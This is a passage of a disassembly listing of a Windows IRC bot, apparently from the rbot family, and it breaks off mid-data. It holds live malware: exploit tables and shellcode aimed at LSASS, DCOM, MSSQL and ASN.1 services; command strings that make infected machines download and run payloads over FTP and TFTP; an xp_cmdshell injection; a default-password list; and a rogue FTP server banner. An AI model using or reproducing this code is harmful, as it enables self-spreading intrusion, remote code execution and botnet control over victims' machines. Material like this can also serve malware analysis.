10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_425E04 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40384C+331o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_425E78 dd 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 3 dup(0) aWinxpProfess_0 db 'WinXP Professional [universal] lsass.exe ',0 align 8 dword_425F38 dd 1004600h ; sub_40384C+245r dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0Fh dup(0) aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu' ; DATA XREF: sub_4036EB+BEo ; sub_4051BC+9Do db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 align 4 aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4036EB+97o aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_404108+B2o align 4 dword_42607C dd 10FF8h, 0 dword_426084 dd 10FF8h dword_426088 dd 7FFDF020h, 0 dword_426090 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0 dd 2006200h aPcNetworkPro_1 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_1 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_426118 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_426148 dd 0 dd 800000D4h, 0 unk_426154 db 81h ; ; DATA XREF: sub_40460C+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 align 10h byte_4261A0 db 41h ; DATA XREF: sub_4046AA+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 ; =============== S U B R O U T I N E ======================================= sub_4261E4 proc near ; DATA XREF: .nsp0:00404987o push ebx push esi push edi sub sp, 80h mov esi, esp call sub_4262E0 push dword ptr [esi] push 63D61209h call sub_4262F6 mov [esi+8], eax call sub_4262A9 push dword ptr [esi+4] push 0CA2BD06Bh call sub_4262F6 mov [esi+0Ch], eax call sub_42625B push dword ptr [esi+4] push 4C0297FAh call sub_4262F6 xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_4261E4 endp ; =============== S U B R O U T I N E ======================================= sub_42625B proc near ; CODE XREF: sub_4261E4+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_426284 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_42625B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_426284 proc near ; CODE XREF: sub_42625B+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_426293: ; CODE XREF: sub_426284+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_4262A0 inc ebx jmp short loc_426293 ; --------------------------------------------------------------------------- loc_4262A0: ; CODE XREF: sub_426284+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_426284 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4262A9 proc near ; CODE XREF: sub_4261E4+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_4262C1: ; CODE XREF: sub_4262A9+1Ej cmp [ecx], ebx jz short loc_4262C9 mov ecx, [ecx] jmp short loc_4262C1 ; --------------------------------------------------------------------------- loc_4262C9: ; CODE XREF: sub_4262A9+1Aj mov edx, edi loc_4262CB: ; CODE XREF: sub_4262A9+2Aj cmp [edx+4], ebx jz short loc_4262D5 mov edx, [edx+4] jmp short loc_4262CB ; --------------------------------------------------------------------------- loc_4262D5: ; CODE XREF: sub_4262A9+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_4262A9 endp ; =============== S U B R O U T I N E ======================================= sub_4262E0 proc near ; CODE XREF: sub_4261E4+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_4262E0 endp ; =============== S U B R O U T I N E ======================================= sub_4262F6 proc near ; CODE XREF: sub_4261E4+16p ; sub_4261E4+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_42630C: ; CODE XREF: sub_4262F6+33j jecxz short loc_426346 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_426319: ; CODE XREF: sub_4262F6+2Dj lodsb cmp al, ah jz short loc_426325 ror edi, 0Dh add edi, eax jmp short loc_426319 ; --------------------------------------------------------------------------- loc_426325: ; CODE XREF: sub_4262F6+26j cmp edi, [esp+20h+arg_0] jnz short loc_42630C mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_426346: ; CODE XREF: sub_4262F6:loc_42630Cj ; sub_4262F6:loc_426346j jmp short loc_426346 sub_4262F6 endp ; --------------------------------------------------------------------------- dd 0 ; =============== S U B R O U T I N E ======================================= sub_42634C proc near ; DATA XREF: .nsp0:00404937o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_42639E mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_426369: ; CODE XREF: sub_42634C+38j jecxz short loc_426399 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_426374: ; CODE XREF: sub_42634C+32j lodsb test al, al jz short loc_426380 ror edx, 0Dh add edx, eax jmp short loc_426374 ; --------------------------------------------------------------------------- loc_426380: ; CODE XREF: sub_42634C+2Bj cmp edx, [esp+arg_0] jnz short loc_426369 mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_426399: ; CODE XREF: sub_42634C:loc_426369j mov [esp+arg_0], ebx retn sub_42634C endp ; =============== S U B R O U T I N E ======================================= sub_42639E proc near ; CODE XREF: sub_42634C+7p ; FUNCTION CHUNK AT 004263D6 SIZE 00000007 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_4263B7 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_4263C2 ; --------------------------------------------------------------------------- loc_4263B7: ; CODE XREF: sub_42639E+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_4263C2: ; CODE XREF: sub_42639E+14j pop edi xor esi, esi pusha push esi jmp short loc_4263D6 sub_42639E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4263C9 proc near ; CODE XREF: sub_42639E:loc_4263D6p push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_4263C9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42639E loc_4263D6: ; CODE XREF: sub_42639E+29j call sub_4263C9 loc_4263DB: ; DATA XREF: sub_4040AD+1Bo ; sub_40CE55+819o ... add [ebx], ah ; END OF FUNCTION CHUNK FOR sub_42639E ; --------------------------------------------------------------------------- db 3 dup(0) dword_4263E0 dd 60h dword_4263E4 dd 62B0606h, 2050501h, 0A0hdword_4263F0 dd 30h ; .nsp0:0042C5B4o ... dword_4263F4 dd 0A1h dword_4263F8 dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_404108+153o align 4 loc_426404: ; DATA XREF: sub_404108+E8o jmp short near ptr dword_42640C ; --------------------------------------------------------------------------- db 6 dup(90h) dword_42640C dd 0 dword_426410 dd 2F2F7325h, 2E732520h, 0aCmdKEchoOpenSD db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: .nsp0:0040495Co db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 aExecMaster___0 db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: sub_404F08+1ACo align 4 ; aExecMaster(long long, *) aExecMaster__xp db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %d >> eq&echo us' ; DATA XREF: sub_404F08+178o db 'er %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq ' db '&%s&del eq',0Dh,0Ah db 27h,0 align 4 aDriverSqlServe db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0 ; DATA XREF: sub_404F08+E4o align 10h aAdmins db 'admins',0 ; DATA XREF: sub_404F08+47o ; .nsp0:0042C324o align 4 aAdministrater db 'administrater',0 ; DATA XREF: sub_404F08+40o align 4 aAdministrador db 'administrador',0 ; DATA XREF: sub_404F08+39o ; .nsp0:0042C318o align 4 aAdministrator db 'administrator',0 ; DATA XREF: sub_404F08+32o ; .nsp0:0042C314o ... align 4 aAdmin db 'admin',0 ; DATA XREF: sub_404F08+2Bo ; .nsp0:0042C328o align 10h aRoot db 'root',0 ; DATA XREF: sub_404F08+24o ; .nsp0:0042C330o ... align 4 aSa db 'sa',0 ; DATA XREF: sub_404F08+19o align 4 dword_4265BC dd 0C933FA8Bh, 909035B2h, 0C1816690h, 0C7830138h ; DATA XREF: .nsp0:00405393o db 1Ah ; --------------------------------------------------------------------------- loc_4265CD: ; CODE XREF: .nsp0:004265D4j mov bl, [edi] xor bl, dl mov [edi], bl inc edi loop loc_4265CD ficom word ptr [esi] dec edi pop esp aaa xor [ecx+6Ch], bl ; --------------------------------------------------------------------------- dw 28CDh dd 0E4B9EBA9h, 36E14579h, 151512C5h, 66623D05h, 7066A07h dd 7979711Bh, 0DD30DE34h, 0CACACACCh, 1FD8B668h, 516C055Fh dd 75BE34BEh, 2945BE39h, 3D4DBE98h, 0BE096AB8h, 0BECE342Eh dd 0CE344D6Eh, 34297EBEh, 1166BECCh, 6466CF34h, 156EBE67h dd 0FC04CE34h, 0ACF50474h, 34BE01BEh, 0F70499CBh, 0F5B1D7E4h dd 833AC240h, 71B83070h, 0C533170h, 53D44025h, 6D6F2504h dd 6765636Bh, 74257B1Eh, 7F39823Ah, 34BD31BEh, 78833ACDh dd 0B871BC30h, 3078CBEDh, 78CB8B40h, 0CB144131h, 68B81778h dd 0E5CA662Dh, 315FF2BCh, 3070BD6Dh, 3F4270B5h, 0B54168B8h dd 0DC21135Eh, 0CACACA4Dh, 0EE04FBBCh, 66666666h, 0CA637363h dd 6D60A2E5h, 5F05BC53h, 0CA626025h, 637BE160h, 0F960CA62h dd 0CA626066h, 0B8A2E560h, 0CA65BD70h, 6060D160h, 0B8DD60CAh dd 0A1393071h, 501B5D66h, 695D504Dh, 0A1515856h, 70B8E704h dd 6262A1F9h, 0CB666662h, 67C734F3h, 4D70B8A1h, 0BD70B865h dd 663D8465h, 0CB255F66h, 666667FBh, 60CA6066h, 0CACA5FD9h dd 0D560h word_426710 dw 7A69h ; DATA XREF: sub_4051BC+30r align 4 a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_405409+5CDo aQuit db 'QUIT',0 ; DATA XREF: sub_405409+5B9o ; sub_40CE55+534o align 4 a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_405409+5ACo align 4 dword_42675C dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: sub_405409+561o dd 2029206Ch, 2BBBB02h aFileSentToSOnP db ' File sent to %s on port %d, now executing %s on remote machine.' db 0 align 4 a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_405409+542o a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_405409+516o align 10h aRetr db 'RETR',0 ; DATA XREF: sub_405409+4FEo align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_405409+4E9o align 4 aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_405409+4D8o aXX db '%x%x',0Ah,0 ; DATA XREF: sub_405409+4A5o align 4 aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_405409+464o db ']',0 aPort db 'PORT',0 ; DATA XREF: sub_405409+42Bo align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_405409+3FDo align 4 aList db 'LIST',0 ; DATA XREF: sub_405409+3EAo align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_405409+3AFo align 4 aPasv db 'PASV',0 ; DATA XREF: sub_405409+39Co align 10h a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_405409+38Co aI: ; DATA XREF: sub_405409+378o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_405409+351o aA: ; DATA XREF: sub_405409+33Do unicode 0, <A>,0 aType db 'TYPE',0 ; DATA XREF: sub_405409+326o ; sub_405409+361o align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_405409+316o align 4 off_426918 dd offset dword_445750 ; DATA XREF: sub_405409+302o a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_405409+2F2o align 10h aRest db 'REST',0 ; DATA XREF: sub_405409+2DEo align 4 a215Fuckftpd db '215 fuckFtpd',0Ah,0 ; DATA XREF: sub_405409+2CEo align 4 aSyst db 'SYST',0 ; DATA XREF: sub_405409+2BAo align 10h a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_405409+2AAo align 4 aPass db 'PASS',0 ; DATA XREF: sub_405409+296o align 10h a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_405409+286o align 4 aUser_0 db 'USER',0 ; DATA XREF: sub_405409+271o ; .nsp0:0042C360o ... align 10h aSS db '%s %s',0 ; DATA XREF: sub_405409+260o align 4 a220Fuckftpd0wn db '220 fuckFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_405409+1D8o align 10h aRb db 'rb',0 ; DATA XREF: sub_405A89+24o ; sub_406C3E+12Eo ... align 4 unk_4269B4 db 2 ; DATA XREF: sub_405B23+3F8o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorServerFai db 'Error: server failed, returned: <%d>.',0 align 4 asc_4269FC db 0Dh,0Ah,0 ; DATA XREF: sub_405B23+2CFo align 10h asc_426A00: ; DATA XREF: sub_405B23+293o ; sub_40CE55+A8o ... unicode 0, < >,0 aGet db 'GET ',0 ; DATA XREF: sub_405B23+269o align 4 aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F7E+F6o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F7E+D3o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_405F7E+97o ; sub_40AAD1+1AEo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405F7E+83o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_405F7E:loc_405FE3o align 4 aTextHtml db 'text/html',0 ; DATA XREF: sub_405F7E+5Eo align 10h unk_426C20 db 2 ; DATA XREF: sub_406100+28Fo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_426C6C db 2 ; DATA XREF: sub_406100+20Bo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aWorkerThreadOf db 'Worker thread of server thread: %d.',0 asc_426CB0: ; DATA XREF: sub_406100+157o ; .nsp0:0042DFF8o unicode 0, <*>,0 asc_426CB4: ; DATA XREF: sub_406100+FBo ; sub_4063B0+29o ... dw 0Ah unicode 0, <>,0 aSS_2 db '%s%s',0 ; DATA XREF: sub_406100+EAo ; sub_4063B0+4CAo ... align 10h aS_1 db '%s',0 ; DATA XREF: sub_406100+3Ao ; sub_40A621+4Co ... align 4 aS_2 db '\%s',0 ; DATA XREF: sub_406100+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_4063B0+64Eo align 10h aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_4063B0+633o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_4063B0+618o align 4 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_4063B0+589o align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_4063B0+561o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_4063B0:loc_4068C8o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_4063B0+511o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_4063B0+471o align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_4063B0+434o align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_4063B0+401o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_4063B0:loc_406772o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_4063B0+3BBo align 4 aSS_0 db '%s%s/',0 ; DATA XREF: sub_4063B0+374o align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_4063B0+330o ; sub_4063B0+486o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_4063B0+30Eo align 10h aS_0 db '<%s>',0 ; DATA XREF: sub_4063B0+2E4o ; sub_4063B0+413o align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_4063B0+2BAo aAm db 'AM',0 ; DATA XREF: sub_4063B0+290o align 4 aPm db 'PM',0 ; DATA XREF: sub_4063B0+285o align 10h a__0: ; DATA XREF: sub_4063B0+24Do unicode 0, <.>,0 a__ db '..',0 ; DATA XREF: sub_4063B0+232o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_4063B0+1C0o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4063B0+147o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_4063B0+12Bo db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_4063B0+F7o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_4063B0+ADo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_4063B0+78o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4063B0+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406B1D+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_42716C dd 4000500h, 7868746Bh, 0dword_427178 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: sub_406C3E+47Fo dd 2029206Ch, 2BBBB02h aFileSentToSExe db ' File sent to %s, executing %s on remote machine.',0 align 4 unk_4271C8 db 2 ; DATA XREF: sub_406C3E+3B6o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileNotFoundOn db ' File not found on %s, (%s).',0 align 4 dword_427204 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: sub_406C3E+399o unk_427218 db 2 ; DATA XREF: sub_406C3E+33Eo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFileSentToSE_0 db 'File sent to %s, executing %s on remote machine.',0 align 4 unk_42726C db 2 ; DATA XREF: sub_406C3E+15Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToOpenFi db 'Failed to open file: %s (possible virus scan!)',0 align 4 unk_4272BC db 2 ; DATA XREF: sub_406C3E+6Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorSocketF_1 db 'Error: socket() failed, returned: <%d>.',0 aOctet db 'octet',0 ; DATA XREF: sub_406C3E+Fo align 10h aDcom135_0 db 'dcom135',0 ; DATA XREF: sub_40778B+164o db 2 dup(0) aDcom135 db 'Dcom135',0 ; DATA XREF: .nsp0:00404ACFo align 4 dd 5 dup(0) dword_427338 dd 87h ; sub_40CE55+2F87r ... off_42733C dd offset sub_4033CB ; DATA XREF: sub_40778B+1E6r dword_427340 dd 0 ; sub_402DDD+199r ... dword_427344 dd 1 dword_427348 dd 0 aDcom445 db 'dcom445',0 dd 63440000h, 34346D6Fh, 35h, 5 dup(0) dd 1BDh, 4033CBh, 0 dd 1, 0 aDcom1025 db 'dcom1025',0 align 2 aDcom1025_0 db 'Dcom1025',0 align 4 dd 5 dup(0) dd 401h, 4033CBh, 0 dd 1, 0 aDcass db 'dcass',0 align 4 dd 63640000h, 737361h, 6 dup(0) dd 1BDh, 402F84h, 0 dd 2 dup(1), 7361736Ch, 35343473h, 736C0000h, 34737361h dd 3534h, 5 dup(0) dd 1BDh, 403C8Bh, 0 dd 2 dup(1), 7361736Ch, 35333173h, 736C0000h, 31737361h dd 3533h, 5 dup(0) dd 87h, 403C8Bh, 0 dd 2 dup(1), 7361736Ch, 39333173h, 736C0000h, 31737361h dd 3933h, 5 dup(0) dd 8Bh, 403C8Bh, 0 dd 2 dup(1), 61736C63h, 7373h, 6C630000h, 73736173h, 6 dup(0) dd 1BDh, 402DDDh, 0 dd 2 dup(1), 6C31736Ch, 73h, 736C0000h, 736C31h, 6 dup(0) dd 1BDh, 403E3Ch, 0 dd 2 dup(1), 7173736Dh, 6Ch, 736D0000h, 6C7173h, 6 dup(0) dd 599h, 404F08h, 0 dd 2 dup(1), 316E7361h, 6E626D73h, 736D0074h, 737361h dd 6 dup(0) dd 599h, 405168h, 0 dd 2 dup(1), 6C616572h, 74736163h, 65520000h, 61636C61h dd 7473h, 5 dup(0) dd 22Ah, 4052FCh, 0 dd 1, 0 aAsn1http db 'asn1http',0 align 2 aAsn1http_0 db 'asn1http',0 align 4 dd 5 dup(0) dd 50h, 404907h, 0 dd 2 dup(1), 316E7361h, 626D73h, 73610000h, 6D73316Eh dd 62h, 5 dup(0) dd 1BDh, 404907h, 0 dd 2 dup(1), 7361736Dh, 73h, 73610000h, 6D73316Eh, 746E62h dd 5 dup(0) dd 8Bh, 404907h, 0 dd 2 dup(1), 0 aAsn1smbnt db 'asn1smbnt',0 byte_4276A2 db 1 ; DATA XREF: sub_40CE55:loc_411958r ; sub_40CE55+4B0Do aMsass db 'msass',0 align 4 dd 100h, 3 dup(0) aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_407135+81o align 10h aSD db ' %s: %d,',0 ; DATA XREF: sub_407135+42o align 4 unk_4276DC db 2 ; DATA XREF: sub_407135+11o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 